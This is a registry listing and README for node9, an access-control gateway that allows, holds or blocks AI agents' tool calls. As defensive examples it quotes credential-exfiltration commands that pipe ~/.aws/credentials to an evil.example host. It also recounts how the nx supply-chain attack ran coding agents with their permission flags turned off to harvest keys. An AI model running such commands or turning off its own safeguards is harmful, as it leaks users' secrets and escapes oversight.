
node9
io.github.node9-ai由 GitHub 账号 node9-ai 发布v2.26.2更新于 Oct 24, 2026
Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call
概览
node9 是一个访问控制网关,让助手能在对话中查看自身的策略、安全态势、审计记录和被拦截的工具调用决策。
- 可以做什么
- node9 以 stdio 方式作为本地 MCP 服务器运行,使智能体可以读取其状态、态势评分、审计记录和策略,并解释 node9 对某次工具调用做出的决定。更完整的产品位于智能体与它调用的每个工具之间,对读取凭据路径、破坏性 git 或 SQL、密钥或 PII 形态等操作执行允许、挂起待批准或阻止。它还提供按服务的规则包、可固定工具定义的 MCP 网关、可选的出站白名单、沙箱、仓库扫描和会话历史。
- 适用场景
- 当你希望智能体能够查询并解释约束其自身工具调用的访问控制决策,而不只是被动执行这些规则时,可以使用它。它适合运行 Claude Code、Codex CLI、Copilot CLI、Gemini CLI、Cursor 或 Windsurf 等编码智能体的开发者,用来保留这些智能体行为的可审查记录。
- 运行要求
- 作为本地进程通过 stdio 运行,使用 npx -y node9-ai mcp-server 启动;该命令不需要 API 密钥。CLI 需要 Node.js 22+,可通过 Homebrew 或 npm install -g node9-ai 安装。本地防护无需账户;登录是可选的,仅用于将该机器接入共享仪表盘。
安装
在 SourceWeft 中
- 打开 控制台中的 node9,将其添加到工作区。
- 为需要使用其工具的对话启用该服务。
Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。
其他 MCP 客户端
参照 仓库 中的启动说明。
README
🛡️ node9
Access control for AI agents
Your AI agents can reach Slack, GitHub, email, and your database.
node9 decides what they may do with each one.
[npm version] [monthly downloads] [License: Apache 2.0] [Documentation] [OpenSSF Best Practices] [OpenSSF Scorecard] [node9 self-scanned] [Mentioned in Awesome Claude Code]
Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
What it looks like
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
[node9 in a Claude Code session: two calls allowed, one blocked, one held for approval]
Install
Then, in any project:
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
Use as an MCP server
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
Any MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
The problem
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Verify it yourself
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count
(no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
What it governs
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.
Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
- What can a hijacked agent do?: the blast radius of one compromised session
- How an AI agent leaks a secret: the paths a credential actually takes out
- Claude Code security: hooks, permission modes, and what they do not stop
- MCP security: the tool surface an MCP server opens
- OWASP Agentic Top 10: the list, mapped to real controls
Compare
- node9 against the alternatives: a matrix, including the rows where node9 scores worse
- Per-agent coverage: what is governed on each of the twelve supported agents
Related projects
- node9-python: Python SDK
- node9 Agent Security: the GitHub Action,
uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count;telemetry: falseturns it off)
Enterprise
node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.
License
Apache-2.0
Built with ☕ and healthy paranoia.
来源:README.md,提交 8da323f
工具
0版本历史
1- v2.26.2最新Sep 29, 2026
评分
已满足适用检查项的 50%
该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。
- 近 30 天内可连通25 分
请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。
- 已声明认证方式10 分
请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。
- 已列出工具15 分
请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。
- 描述必需15 分
- 图标10 分
- 文档15 分
- 许可证10 分